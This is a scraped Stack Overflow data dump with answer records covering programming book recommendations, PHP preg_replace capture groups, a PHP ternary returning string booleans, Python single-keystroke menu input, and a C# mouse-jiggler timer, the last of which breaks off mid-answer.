href=\"http://images.barnesandnoble.com/images/14870000/14878097.JPG\" rel=\"nofollow noreferrer\">alt text http://images.barnesandnoble.com/images/14870000/14878097.JPG</a></p>\n" }, { "answer_id": 1913288, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>This is a very rich and useful compilation, however, I am a bit surprised I have not encountered Andrew S. Tanenbaum among the authors. IMO he is one of the best CS professors, and his genius has to do mainly with his extraordinary ability in making rather difficult material accessible to the CS undergraduates. <a href=\"http://books.google.com/books?as_auth=Andrew+S+Tanenbaum&amp;source=an&amp;ei=ZqAoS_vZDJGG4QbQ1aGsDQ&amp;sa=X&amp;oi=book_group&amp;ct=title&amp;cad=author-navigational&amp;resnum=12&amp;ved=0CDIQsAMwCw\" rel=\"nofollow noreferrer\">His books</a> (Modern Operating Systems, or Computer Networks might ring a bell) did a wonderful job in providing me with a solid foundation in CS while doing my BS and I highly recommend them.\nSome other interesting stuff on Tanenbaum, proving his skills go beyond teaching: author of an OS called MINIX - Linus had his fare share of inspiration from it when implementing Linux; Amoeba - distributed OS; Turtle - free anonymous p2p network.</p>\n" }, { "answer_id": 1967401, "author": "Derrick", "author_id": 83883, "author_profile": "https://Stackoverflow.com/users/83883", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://ecx.images-amazon.com/images/I/51HlYd-%2BRwL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA300_SH20_OU01_.jpg\" rel=\"nofollow noreferrer\">The New Turing Omnibus http://ecx.images-amazon.com/images/I/51HlYd-%2BRwL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA300_SH20_OU01_.jpg</a></p>\n\n<p>Really good book. Has a high-level taste of the most important areas of computer science. Yes, CS != programming, but this is still useful to every programmer.</p>\n" }, { "answer_id": 2202200, "author": "Andriy Drozdyuk", "author_id": 74865, "author_profile": "https://Stackoverflow.com/users/74865", "pm_score": 1, "selected": false, "text": "<p><strong>The Art of Game Design - A Book of Lenses</strong> by Jesse Schell</p>\n\n<blockquote>\n <p>Jesse Schell has taught Game Design and led research projects at Carnegie Mellon’s Entertainment Technology Center since 2002.</p>\n</blockquote>\n\n<p>Nuff said.</p>\n\n<p><a href=\"http://i50.tinypic.com/iekw0l.jpg\" rel=\"nofollow noreferrer\">The Art of Game Design - A Book of Lenses http://i50.tinypic.com/iekw0l.jpg</a></p>\n\n<p>PS: Sorry If I am double posting, I couldn't find this book in the answers - either because the title was not exact or there was no image. Let me know and I'll delete it if so.</p>\n" }, { "answer_id": 2212155, "author": "KV Prajapati", "author_id": 142822, "author_profile": "https://Stackoverflow.com/users/142822", "pm_score": 2, "selected": false, "text": "<p><a href=\"http://people.redhat.com/drepper/cpumemory.pdf\" rel=\"nofollow noreferrer\">What Every Programmer Should Know About Memory</a></p>\n\n<p>by Ulrich Drepper - explains the structure of modern memory subsystems and suggests how to utilize them efficiently.</p>\n\n<p>PS: Sorry If I am double posting.</p>\n" }, { "answer_id": 2223093, "author": "Zack Marrapese", "author_id": 43222, "author_profile": "https://Stackoverflow.com/users/43222", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0596809484\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">97 Things Every Programmer Should Know</a></p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/51F134Q8TrL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA240_SH20_OU01_.jpg\" rel=\"nofollow noreferrer\">alt text http://ecx.images-amazon.com/images/I/51F134Q8TrL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA240_SH20_OU01_.jpg</a></p>\n\n<p>This book pools together the collective experiences of some of the world's best programmers. It is a must read.</p>\n" }, { "answer_id": 2223262, "author": "Paul Mitchell", "author_id": 38966, "author_profile": "https://Stackoverflow.com/users/38966", "pm_score": 1, "selected": false, "text": "<p><a href=\"http://www.mrbunny.com/\" rel=\"nofollow noreferrer\">Mr Bunny's Guide to ActiveX</a></p>\n" }, { "answer_id": 2315020, "author": "ErikT", "author_id": 264499, "author_profile": "https://Stackoverflow.com/users/264499", "pm_score": 2, "selected": false, "text": "<p>My vote is \"How to Think Like a Computer Scientist: Learning With Python\"\nIt's available both as a <a href=\"https://rads.stackoverflow.com/amzn/click/com/0971677506\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">book</a> and as a <a href=\"http://www.greenteapress.com/thinkpython/thinkCSpy/thinkCSpy.pdf\" rel=\"nofollow noreferrer\">free e-book</a>.</p>\n\n<p>It really helped me to understand the basics of not just Python but programming in general. Although it uses Python to demonstrate concepts, they apply to most, if not all, programming languages. Also: IT'S FREE!</p>\n" }, { "answer_id": 2319763, "author": "Marc Bollinger", "author_id": 12866, "author_profile": "https://Stackoverflow.com/users/12866", "pm_score": 1, "selected": false, "text": "<p><img src=\"https://upload.wikimedia.org/wikipedia/en/3/31/Norton_Guide_to_PC_VGA.jpg\" alt=\"The Pink Shirt book\"></p>\n\n<p>Programmer's Guide to the IBM PC. The Pink Shirt book. </p>\n\n<p>...well, <strong>someone</strong> had to say it.</p>\n" }, { "answer_id": 2362817, "author": "Aseem", "author_id": 284342, "author_profile": "https://Stackoverflow.com/users/284342", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/020189551X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Object Oriented Analysis and Design with Applications by Brady Booch</a></p>\n" }, { "answer_id": 2374998, "author": "Mark Schultheiss", "author_id": 125981, "author_profile": "https://Stackoverflow.com/users/125981", "pm_score": 1, "selected": false, "text": "<p>You.Next(): Move Your Software Development Career to the Leadership Track\n~ Michael C. Finley (Author), Honza Fedák (Author) \n<a href=\"https://rads.stackoverflow.com/amzn/click/com/1439205590\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">link text</a></p>\n" }, { "answer_id": 2779417, "author": "Jonathan", "author_id": 185043, "author_profile": "https://Stackoverflow.com/users/185043", "pm_score": 1, "selected": false, "text": "<p><a href=\"http://www.amazon.co.uk/Maverick-Success-Behind-Unusual-Workplace/dp/0712678867/ref=sr_1_2?ie=UTF8&amp;s=books&amp;qid=1273132693&amp;sr=8-2\" rel=\"nofollow noreferrer\">Maverick!: The Success Story Behind the World's Most Unusual Workplace</a> </p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/410TX7YN94L._SL500_AA300_.jpg\" rel=\"nofollow noreferrer\">alt text http://ecx.images-amazon.com/images/I/410TX7YN94L._SL500_AA300_.jpg</a></p>\n\n<p><strong>Will make you realise what a workplace should be like.</strong></p>\n" }, { "answer_id": 2912701, "author": "Dave Clarke", "author_id": 231469, "author_profile": "https://Stackoverflow.com/users/231469", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://www.cis.upenn.edu/~bcpierce/tapl/index.html\" rel=\"nofollow noreferrer\">Types and Programming Languages</a> by Benjamin C Pierce for a thorough understanding of the underpinnings of programming languages.</p>\n" }, { "answer_id": 2912739, "author": "Dave Clarke", "author_id": 231469, "author_profile": "https://Stackoverflow.com/users/231469", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://www.amazon.co.uk/Design-Concepts-Programming-Languages-Turbak/dp/0262201755/ref=sr_1_3?ie=UTF8&amp;s=books&amp;qid=1274875492&amp;sr=8-3\" rel=\"nofollow noreferrer\">Design Concepts in Programming Languages</a> by FA Turbak produces detailed implementations of many programming concepts and is very useful for understanding what's going on underneath the hood.</p>\n" }, { "answer_id": 3346201, "author": "agupta666", "author_id": 403024, "author_profile": "https://Stackoverflow.com/users/403024", "pm_score": 3, "selected": false, "text": "<p><strong>The Practice of Programming</strong></p>\n\n<p><img src=\"https://t1.gstatic.com/images?q=tbn:ANd9GcSLc9pryomuCkOeUgLIv13xEWjh_CvvjqZ1-KbMDoSKJj4gtaA&amp;t=1&amp;usg=__wxMg3DTFArpa2kMk0Jmqf-_5eI4=\" alt=\"alt text\"></p>\n\n<p>and</p>\n\n<p><strong>How to solve it by computer</strong></p>\n\n<p><a href=\"http://img.infibeam.com/img/7101e0ee/496b1/05/629/P-M-B-9788131705629.jpg?hei=200&amp;wid=160&amp;op_sharpen=1\" rel=\"nofollow noreferrer\">alt text http://img.infibeam.com/img/7101e0ee/496b1/05/629/P-M-B-9788131705629.jpg?hei=200&amp;wid=160&amp;op_sharpen=1</a></p>\n" }, { "answer_id": 3354925, "author": "Second Person Shooter", "author_id": 397524, "author_profile": "https://Stackoverflow.com/users/397524", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://ecx.images-amazon.com/images/I/51fhwR6eb3L._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA300_SH20_OU01_.jpg\">alt text http://ecx.images-amazon.com/images/I/51fhwR6eb3L._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA300_SH20_OU01_.jpg</a></p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/51PDNR3C40L._SL500_AA300_.jpg\">alt text http://ecx.images-amazon.com/images/I/51PDNR3C40L._SL500_AA300_.jpg</a></p>\n" }, { "answer_id": 3416315, "author": "shawndumas", "author_id": 64275, "author_profile": "https://Stackoverflow.com/users/64275", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0262062186\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">alt text http://ecx.images-amazon.com/images/I/51E0Ojkz8iL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA300_SH20_OU01_.jpg</a></p>\n" }, { "answer_id": 3444622, "author": "George Marian", "author_id": 377225, "author_profile": "https://Stackoverflow.com/users/377225", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/B0020MMBCG\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">The Back of the Napkin</a>, by <a href=\"http://www.thebackofthenapkin.com/\" rel=\"noreferrer\">Dan Roam</a>.</p>\n\n<p><a href=\"http://www.coverbrowser.com/image/bestsellers-2008/302-7.jpg\" rel=\"noreferrer\">The Back of the Napkin http://www.coverbrowser.com/image/bestsellers-2008/302-7.jpg</a></p>\n\n<p>A great book about visual thinking techniques. There is also an <a href=\"https://rads.stackoverflow.com/amzn/click/com/1591843065\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">expanded</a> edition now. I can't speak to that version, as I do not own it; yet.</p>\n" }, { "answer_id": 3565093, "author": "Mahol25", "author_id": 382086, "author_profile": "https://Stackoverflow.com/users/382086", "pm_score": 2, "selected": false, "text": "<p><img src=\"https://i.stack.imgur.com/mManT.jpg\" alt=\"alt text\"></p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0452267560\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Mastery: The Keys to Success and Long-Term Fulfillment, by George Leonard</a></p>\n\n<p>It's about about what mindsets are required to reach mastery in any skill, and why. It's just awesome, and an easy read too.</p>\n" }, { "answer_id": 4008769, "author": "Matthew J Morrison", "author_id": 256218, "author_profile": "https://Stackoverflow.com/users/256218", "pm_score": 3, "selected": false, "text": "<p>The Python language was very influential to me, I wish I would have read these book years ago. The beauty and simplicity of the Python language really affected how I wrote code in other languages.</p>\n\n<p><img src=\"https://i.stack.imgur.com/HA3fB.gif\" alt=\"alt text\">\n<img src=\"https://i.stack.imgur.com/Ni1BC.gif\" alt=\"alt text\"></p>\n" }, { "answer_id": 4066362, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://www.informit.com/store/product.aspx?isbn=9780321112309&amp;aid=3B419801-6640-4A1F-A653-6CD00295FCDD\" rel=\"nofollow noreferrer\">Enterprise Patterns and MDA: Building Better Software with Archetype Patterns and UML</a></p>\n\n<p>An excellent read for those looking to leverage ORM and UML</p>\n\n<p><img src=\"https://i.stack.imgur.com/B6iEX.png\" alt=\"Enterprise Patterns and MDA: Building Better Software with Archetype Patterns and UML\"></p>\n" }, { "answer_id": 4218702, "author": "Ryan Berger", "author_id": 330204, "author_profile": "https://Stackoverflow.com/users/330204", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0073523321\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Database System Concepts</a> is one of the best books you can read on understanding good database design principles.</p>\n\n<p><img src=\"https://i.stack.imgur.com/gk1tt.jpg\" alt=\"alt text\"></p>\n" }, { "answer_id": 4252445, "author": "ladookie", "author_id": 420744, "author_profile": "https://Stackoverflow.com/users/420744", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://savannah.spinellicreations.com/pgubook/ProgrammingGroundUp-1-0-booksize.pdf\" rel=\"nofollow noreferrer\">Programming from the ground up.</a> It's free on the internet. This book taught me AT&amp;T asm. It is very easy to read.</p>\n\n<p><img src=\"https://i.stack.imgur.com/ec9YD.jpg\" alt=\"alt text\"></p>\n" }, { "answer_id": 4395620, "author": "michaelok", "author_id": 443633, "author_profile": "https://Stackoverflow.com/users/443633", "pm_score": 2, "selected": false, "text": "<p>Steve Macguire's <a href=\"http://c2.com/cgi/wiki?WritingSolidCode\" rel=\"nofollow\">Writing Solid Code</a> </p>\n" }, { "answer_id": 4689505, "author": "JW.", "author_id": 205814, "author_profile": "https://Stackoverflow.com/users/205814", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://nostarch.com/tcpip.htm\" rel=\"nofollow noreferrer\">The TCP/IP Guide</a>, by Charles M. Kozierok </p>\n\n<p>Although it is described as an 'encyclopedic reference', it is <em>incredibly</em> readable as a narrative.</p>\n\n<p>This author provides a very , very, very well written, comprehensive, introduction to networking and the infrastructure that underlies the web. Something all programmers ought to know.</p>\n\n<p>For me it is the natural follow-on from Charles Petzold's '<a href=\"https://stackoverflow.com/questions/1711/what-is-the-single-most-influential-book-every-programmer-should-read/1727#1727\">Code</a>'. If \"Code\" explains to the layman how computers work, 'The TCP/IP Guide' explains how they connect together.</p>\n\n<p>If you gave a 12 year old geek a copy 'Code' and a copy of 'The TCP/IP Guide' - they'd be building the next Google by the age of 17. </p>\n\n<p>In other words, if I could go back in time and tell myself to read a specific book at the beginning of my career as a developer, this (plus <em>Code</em>) is up there in the top of my list.</p>\n" }, { "answer_id": 4693098, "author": "David Watson", "author_id": 173308, "author_profile": "https://Stackoverflow.com/users/173308", "pm_score": 2, "selected": false, "text": "<p>In the beginning was the command line. Neal Stephenson.</p>\n" } ]
2008/08/04
[ "https://Stackoverflow.com/questions/1711", "https://Stackoverflow.com", "https://Stackoverflow.com/users/303/" ]
If you could go back in time and tell yourself to read a specific book at the beginning of your career as a developer, which book would it be? I expect this list to be varied and to cover a wide range of things. **To search:** Use the search box in the upper-right corner. To search the answers of the current question, use `inquestion:this`. For example: ``` inquestion:this "Code Complete" ```
* *Code Complete* (2nd edition) by Steve McConnell * *The Pragmatic Programmer* * *Structure and Interpretation of Computer Programs* * *The C Programming Language* by Kernighan and Ritchie * *Introduction to Algorithms* by Cormen, Leiserson, Rivest & Stein * *Design Patterns* by the Gang of Four * *Refactoring: Improving the Design of Existing Code* * *The Mythical Man Month* * *The Art of Computer Programming* by Donald Knuth * *Compilers: Principles, Techniques and Tools* by Alfred V. Aho, Ravi Sethi and Jeffrey D. Ullman * *Gödel, Escher, Bach* by Douglas Hofstadter * *Clean Code: A Handbook of Agile Software Craftsmanship* by Robert C. Martin * *Effective C++* * *More Effective C++* * *CODE* by Charles Petzold * *Programming Pearls* by Jon Bentley * *Working Effectively with Legacy Code* by Michael C. Feathers * *Peopleware* by Demarco and Lister * *Coders at Work* by Peter Seibel * *Surely You're Joking, Mr. Feynman!* * *Effective Java* 2nd edition * *Patterns of Enterprise Application Architecture* by Martin Fowler * *The Little Schemer* * *The Seasoned Schemer* * *Why's (Poignant) Guide to Ruby* * *The Inmates Are Running The Asylum: Why High Tech Products Drive Us Crazy and How to Restore the Sanity* * *The Art of Unix Programming* * *Test-Driven Development: By Example* by Kent Beck * *Practices of an Agile Developer* * *Don't Make Me Think* * *Agile Software Development, Principles, Patterns, and Practices* by Robert C. Martin * *Domain Driven Designs* by Eric Evans * *The Design of Everyday Things* by Donald Norman * *Modern C++ Design* by Andrei Alexandrescu * *Best Software Writing I* by Joel Spolsky * *The Practice of Programming* by Kernighan and Pike * *Pragmatic Thinking and Learning: Refactor Your Wetware* by Andy Hunt * *Software Estimation: Demystifying the Black Art* by Steve McConnel * *The Passionate Programmer (My Job Went To India)* by Chad Fowler * *Hackers: Heroes of the Computer Revolution* * *Algorithms + Data Structures = Programs* * *Writing Solid Code* * *JavaScript - The Good Parts* * *Getting Real* by 37 Signals * *Foundations of Programming* by Karl Seguin * *Computer Graphics: Principles and Practice in C* (2nd Edition) * *Thinking in Java* by Bruce Eckel * *The Elements of Computing Systems* * *Refactoring to Patterns* by Joshua Kerievsky * *Modern Operating Systems* by Andrew S. Tanenbaum * *The Annotated Turing* * *Things That Make Us Smart* by Donald Norman * *The Timeless Way of Building* by Christopher Alexander * *The Deadline: A Novel About Project Management* by Tom DeMarco * *The C++ Programming Language (3rd edition)* by Stroustrup * *Patterns of Enterprise Application Architecture* * *Computer Systems - A Programmer's Perspective* * *Agile Principles, Patterns, and Practices in C#* by Robert C. Martin * *Growing Object-Oriented Software, Guided* by Tests * *Framework Design Guidelines* by Brad Abrams * *Object Thinking* by Dr. David West * *Advanced Programming in the UNIX Environment* by W. Richard Stevens * *Hackers and Painters: Big Ideas from the Computer Age* * *The Soul of a New Machine* by Tracy Kidder * *CLR via C#* by Jeffrey Richter * *The Timeless Way of Building* by Christopher Alexander * *Design Patterns in C#* by Steve Metsker * *Alice in Wonderland* by Lewis Carol * *Zen and the Art of Motorcycle Maintenance* by Robert M. Pirsig * *About Face - The Essentials of Interaction Design* * *Here Comes Everybody: The Power of Organizing Without Organizations* by Clay Shirky * *The Tao of Programming* * *Computational Beauty of Nature* * *Writing Solid Code* by Steve Maguire * *Philip and Alex's Guide to Web Publishing* * *Object-Oriented Analysis and Design with Applications* by Grady Booch * *Effective Java* by Joshua Bloch * *Computability* by N. J. Cutland * *Masterminds of Programming* * *The Tao Te Ching* * *The Productive Programmer* * *The Art of Deception* by Kevin Mitnick * *The Career Programmer: Guerilla Tactics for an Imperfect World* by Christopher Duncan * *Paradigms of Artificial Intelligence Programming: Case studies in Common Lisp* * *Masters of Doom* * *Pragmatic Unit Testing in C# with NUnit* by Andy Hunt and Dave Thomas with Matt Hargett * *How To Solve It* by George Polya * *The Alchemist* by Paulo Coelho * *Smalltalk-80: The Language and its Implementation* * *Writing Secure Code* (2nd Edition) by Michael Howard * *Introduction to Functional Programming* by Philip Wadler and Richard Bird * *No Bugs!* by David Thielen * *Rework* by Jason Freid and DHH * *JUnit in Action*
1,746
<p>I am trying to grab the capital letters of a couple of words and wrap them in span tags. I am using <a href="http://php.net/manual/en/function.preg-replace.php" rel="noreferrer">preg_replace</a> for extract and wrapping purposes, but it's not outputting anything.</p> <pre><code>preg_replace("/[A-Z]/", "&lt;span class=\"initial\"&gt;$1&lt;/span&gt;", $str) </code></pre>
[ { "answer_id": 1749, "author": "Polsonby", "author_id": 137, "author_profile": "https://Stackoverflow.com/users/137", "pm_score": 7, "selected": true, "text": "<p>You need to put the pattern in parentheses <code>/([A-Z])/</code>, like this:</p>\n\n<pre><code>preg_replace(\"/([A-Z])/\", \"&lt;span class=\\\"initial\\\"&gt;$1&lt;/span&gt;\", $str)\n</code></pre>\n" }, { "answer_id": 1803, "author": "Wedge", "author_id": 332, "author_profile": "https://Stackoverflow.com/users/332", "pm_score": 3, "selected": false, "text": "<p>From the <a href=\"http://us.php.net/manual/en/function.preg-replace.php\" rel=\"noreferrer\">preg_replace documentation</a> on php.net:</p>\n\n<blockquote>\n <p><em>replacement</em> may contain references of\n the form \\n or (since PHP 4.0.4) $n,\n with the latter form being the\n preferred one. Every such reference\n will be replaced by the text captured\n by the n'th parenthesized pattern.</p>\n</blockquote>\n\n<p>See Flubba's example.</p>\n" }, { "answer_id": 31874, "author": "John Douthat", "author_id": 2774, "author_profile": "https://Stackoverflow.com/users/2774", "pm_score": 5, "selected": false, "text": "<p><code>\\0</code> will also match the entire matched expression without doing an explicit capture using parenthesis.</p>\n\n<pre><code>preg_replace(\"/[A-Z]/\", \"&lt;span class=\\\"initial\\\"&gt;\\\\0&lt;/span&gt;\", $str)\n</code></pre>\n\n<p>As always, you can go to <a href=\"http://php.net/preg_replace\" rel=\"noreferrer\">php.net/preg_replace</a> or php.net/&lt;whatever search term&gt; to search the documentation quickly. Quoth the documentation:</p>\n\n<blockquote>\n <p>\\0 or $0 refers to the text matched by the whole pattern. </p>\n</blockquote>\n" }, { "answer_id": 1034121, "author": "Dinah", "author_id": 356, "author_profile": "https://Stackoverflow.com/users/356", "pm_score": 3, "selected": false, "text": "<p>Use parentheses around your desired capture.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/1746", "https://Stackoverflow.com", "https://Stackoverflow.com/users/137/" ]
I am trying to grab the capital letters of a couple of words and wrap them in span tags. I am using [preg\_replace](http://php.net/manual/en/function.preg-replace.php) for extract and wrapping purposes, but it's not outputting anything. ``` preg_replace("/[A-Z]/", "<span class=\"initial\">$1</span>", $str) ```
You need to put the pattern in parentheses `/([A-Z])/`, like this: ``` preg_replace("/([A-Z])/", "<span class=\"initial\">$1</span>", $str) ```
1,762
<p>I am trying to set a flag to show or hide a page element, but it always displays even when the expression is false. </p> <pre><code>$canMerge = ($condition1 &amp;&amp; $condition2) ? 'true' : 'false'; ... &lt;?php if ($canMerge) { ?&gt;Stuff&lt;?php } ?&gt; </code></pre> <p>What's up?</p>
[ { "answer_id": 1764, "author": "Polsonby", "author_id": 137, "author_profile": "https://Stackoverflow.com/users/137", "pm_score": 1, "selected": false, "text": "<p>The value of 'false' is true. You need to remove the quotes:</p>\n\n<pre><code>$canMerge = ($condition1 &amp;&amp; $condition2) ? true : false;\n</code></pre>\n" }, { "answer_id": 1771, "author": "Rudd Zwolinski", "author_id": 219, "author_profile": "https://Stackoverflow.com/users/219", "pm_score": 6, "selected": true, "text": "<p>This is broken because 'false' as a string will evaluate to true as a boolean.</p>\n\n<p>However, this is an unneeded ternary expression, because the resulting values are simple true and false. This would be equivalent:</p>\n\n<pre><code>$canMerge = ($condition1 &amp;&amp; $condition2);\n</code></pre>\n" }, { "answer_id": 12633137, "author": "depz123", "author_id": 1463541, "author_profile": "https://Stackoverflow.com/users/1463541", "pm_score": 0, "selected": false, "text": "<p>Seems to me a reasonable question especially because of the discrepancy in the way PHP works.</p>\n\n<p>For instance, the following code will output 'its false'</p>\n\n<pre><code>$a = '0';\n\nif($a)\n{\n echo 'its true';\n}\nelse\n{\n echo 'its false';\n}\n</code></pre>\n" }, { "answer_id": 23702630, "author": "Anowar Hossain", "author_id": 3475207, "author_profile": "https://Stackoverflow.com/users/3475207", "pm_score": -1, "selected": false, "text": "<pre><code>$canMerge = ($condition1 &amp;&amp; $condition2);\n</code></pre>\n\n<p>then</p>\n\n<pre><code>if ($canMerge){\n echo \"Stuff\";\n}\n</code></pre>\n" }, { "answer_id": 73438823, "author": "Sohrab", "author_id": 8805571, "author_profile": "https://Stackoverflow.com/users/8805571", "pm_score": 0, "selected": false, "text": "<p>You are using <code>'true'</code> and <code>'false'</code> as string. Using a string(non-empty and not <code>'0'</code> and not <code>' '</code>, because these are empty strings and will be assume as false) as a condition will results the condition to be <code>true</code>.</p>\n<p>I will write some correct conditions that could be use:</p>\n<p><code>$canMerge = ($condition1 &amp;&amp; $condition2);</code></p>\n<p><code>$canMerge = ($condition1 &amp;&amp; $condition2) ? true : false;</code></p>\n<pre><code>$canMerge = ($condition1 &amp;&amp; $condition2) ? 'true' : 'false';\n...\n&lt;?php if ($canMerge == 'true') { ?&gt;Stuff&lt;?php } ?&gt;\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/1762", "https://Stackoverflow.com", "https://Stackoverflow.com/users/137/" ]
I am trying to set a flag to show or hide a page element, but it always displays even when the expression is false. ``` $canMerge = ($condition1 && $condition2) ? 'true' : 'false'; ... <?php if ($canMerge) { ?>Stuff<?php } ?> ``` What's up?
This is broken because 'false' as a string will evaluate to true as a boolean. However, this is an unneeded ternary expression, because the resulting values are simple true and false. This would be equivalent: ``` $canMerge = ($condition1 && $condition2); ```
1,829
<p>I've got a menu in Python. That part was easy. I'm using <code>raw_input()</code> to get the selection from the user. </p> <p>The problem is that <code>raw_input</code> (and input) require the user to press <kbd>Enter</kbd> after they make a selection. Is there any way to make the program act immediately upon a keystroke? Here's what I've got so far:</p> <pre><code>import sys print """Menu 1) Say Foo 2) Say Bar""" answer = raw_input("Make a selection&gt; ") if "1" in answer: print "foo" elif "2" in answer: print "bar" </code></pre> <p>It would be great to have something like</p> <pre><code>print menu while lastKey = "": lastKey = check_for_recent_keystrokes() if "1" in lastKey: #do stuff... </code></pre>
[ { "answer_id": 1840, "author": "Mark Harrison", "author_id": 116, "author_profile": "https://Stackoverflow.com/users/116", "pm_score": 3, "selected": false, "text": "<p><strong>On Linux:</strong></p>\n\n<ul>\n<li>set raw mode</li>\n<li>select and read the keystroke</li>\n<li>restore normal settings</li>\n</ul>\n\n<pre>\nimport sys\nimport select\nimport termios\nimport tty\n\ndef getkey():\n old_settings = termios.tcgetattr(sys.stdin)\n tty.setraw(sys.stdin.fileno())\n select.select([sys.stdin], [], [], 0)\n answer = sys.stdin.read(1)\n termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_settings)\n return answer\n\nprint \"\"\"Menu\n1) Say Foo\n2) Say Bar\"\"\"\n\nanswer=getkey()\n\nif \"1\" in answer: print \"foo\"\nelif \"2\" in answer: print \"bar\"\n\n</pre>\n" }, { "answer_id": 1852, "author": "Mark Harrison", "author_id": 116, "author_profile": "https://Stackoverflow.com/users/116", "pm_score": 4, "selected": true, "text": "<p><strong>On Windows:</strong></p>\n\n<pre><code>import msvcrt\nanswer=msvcrt.getch()\n</code></pre>\n" }, { "answer_id": 1870, "author": "Grant", "author_id": 30, "author_profile": "https://Stackoverflow.com/users/30", "pm_score": 2, "selected": false, "text": "<p>Wow, that took forever. Ok, here's what I've ended up with </p>\n\n<pre><code>#!C:\\python25\\python.exe\nimport msvcrt\nprint \"\"\"Menu\n1) Say Foo \n2) Say Bar\"\"\"\nwhile 1:\n char = msvcrt.getch()\n if char == chr(27): #escape\n break\n if char == \"1\":\n print \"foo\"\n break\n if char == \"2\":\n print \"Bar\"\n break\n</code></pre>\n\n<p>It fails hard using IDLE, the python...thing...that comes with python. But once I tried it in DOS (er, CMD.exe), as a real program, then it ran fine.</p>\n\n<p>No one try it in IDLE, unless you have Task Manager handy.</p>\n\n<p>I've already forgotten how I lived with menus that arn't super-instant responsive.</p>\n" }, { "answer_id": 1885, "author": "helloandre", "author_id": 50, "author_profile": "https://Stackoverflow.com/users/50", "pm_score": 0, "selected": false, "text": "<p>The reason msvcrt fails in IDLE is because IDLE is not accessing the library that runs msvcrt. Whereas when you run the program natively in cmd.exe it works nicely. For the same reason that your program blows up on Mac and Linux terminals.</p>\n\n<p>But I guess if you're going to be using this specifically for windows, more power to ya.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/1829", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30/" ]
I've got a menu in Python. That part was easy. I'm using `raw_input()` to get the selection from the user. The problem is that `raw_input` (and input) require the user to press `Enter` after they make a selection. Is there any way to make the program act immediately upon a keystroke? Here's what I've got so far: ``` import sys print """Menu 1) Say Foo 2) Say Bar""" answer = raw_input("Make a selection> ") if "1" in answer: print "foo" elif "2" in answer: print "bar" ``` It would be great to have something like ``` print menu while lastKey = "": lastKey = check_for_recent_keystrokes() if "1" in lastKey: #do stuff... ```
**On Windows:** ``` import msvcrt answer=msvcrt.getch() ```
1,836
<p>OK. This is a bit of a vanity app, but I had a situation today at work where I was in a training class and the machine was set to lock every 10 minutes. Well, if the trainers got excited about talking - as opposed to changing slides - the machine would lock up.</p> <p>I'd like to write a teeny app that has nothing but a taskbar icon that does nothing but move the mouse by 1 pixel every 4 minutes. </p> <p>I can do that in 3 ways with Delphi (my strong language) but I'm moving to C# for work and I'd like to know the path of least resistance there.</p>
[ { "answer_id": 1843, "author": "lubos hasko", "author_id": 275, "author_profile": "https://Stackoverflow.com/users/275", "pm_score": 6, "selected": true, "text": "<p><strong>for C# 3.5</strong></p>\n\n<p>without notifyicon therefore you will need to terminate this application in task manager manually</p>\n\n<pre><code>using System;\nusing System.Drawing;\nusing System.Windows.Forms;\n\nstatic class Program\n{\n static void Main()\n {\n Timer timer = new Timer();\n // timer.Interval = 4 minutes\n timer.Interval = (int)(TimeSpan.TicksPerMinute * 4 / TimeSpan.TicksPerMillisecond);\n timer.Tick += (sender, args) =&gt; { Cursor.Position = new Point(Cursor.Position.X + 1, Cursor.Position.Y + 1); };\n timer.Start();\n Application.Run();\n }\n}\n</code></pre>\n" }, { "answer_id": 1849, "author": "DylanJ", "author_id": 87, "author_profile": "https://Stackoverflow.com/users/87", "pm_score": 2, "selected": false, "text": "<p>Something like this should work (though, you <strong>will</strong> want to change the interval).</p>\n\n<pre><code>public Form1()\n{\n InitializeComponent();\n Timer Every4Minutes = new Timer();\n Every4Minutes.Interval = 10;\n Every4Minutes.Tick += new EventHandler(MoveNow);\n Every4Minutes.Start();\n}\n\nvoid MoveNow(object sender, EventArgs e)\n{\n Cursor.Position = new Point(Cursor.Position.X - 1, Cursor.Position.Y - 1);\n}\n</code></pre>\n" }, { "answer_id": 13910, "author": "Zooba", "author_id": 891, 